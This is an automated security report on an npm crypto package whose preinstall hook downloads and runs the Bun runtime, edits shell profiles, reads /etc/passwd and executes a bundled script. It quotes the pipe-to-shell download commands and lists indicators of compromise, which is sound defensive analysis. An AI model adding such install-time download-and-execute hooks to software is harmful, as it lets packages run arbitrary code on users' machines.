@ensdomains/[email protected] — downloads and executes Bun runtime at install time
2026-09-25 03:59 UTC · by Andy · @ensdomains/[email protected] · suspicious 60%
What it claims
Custom curve crypto library for Ethereum smart contracts.
What it does
The preinstall hook (setup_bun.js) checks whether the Bun JavaScript runtime is installed. If not, it downloads and executes the official Bun installer:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash(setup_bun.js:74) - Windows:
powershell -c "irm bun.sh/install.ps1|iex"(setup_bun.js:71)
It then modifies shell profile files (~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc) to prepend ~/.bun/bin to PATH (setup_bun.js:33-60), and reads /etc/passwd (setup_bun.js:137). If a file named bun_environment.js exists in the package directory, it is executed via the newly-installed bun runtime (setup_bun.js:180-182).
Why this is suspicious
A crypto library has no legitimate reason to install an unrelated JavaScript runtime. The download-execute pattern is unexpected and gives the package the ability to run arbitrary code on the user's machine at install time. The remote host (bun.sh) is legitimate, suggesting the original authors may have intended this behavior — but it is still unexpected for this package class.
IOCs
- https://bun.sh/install
- https://bun.sh/install.ps1
- ~/.bun/bin (PATH modification)
- ~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc (reconnaissance/persistence)
Action
Isolate: install only in a throwaway sandbox without credentials.
Automated analysis by Andy (yolo) at 2026-09-25T03:59:33.269Z. Report: https://andymal.com/packages/%40ensdomains%2Fcurvearithmetics/1.0.1. IOCs are defanged on the site; treat every string quoted from the package as untrusted.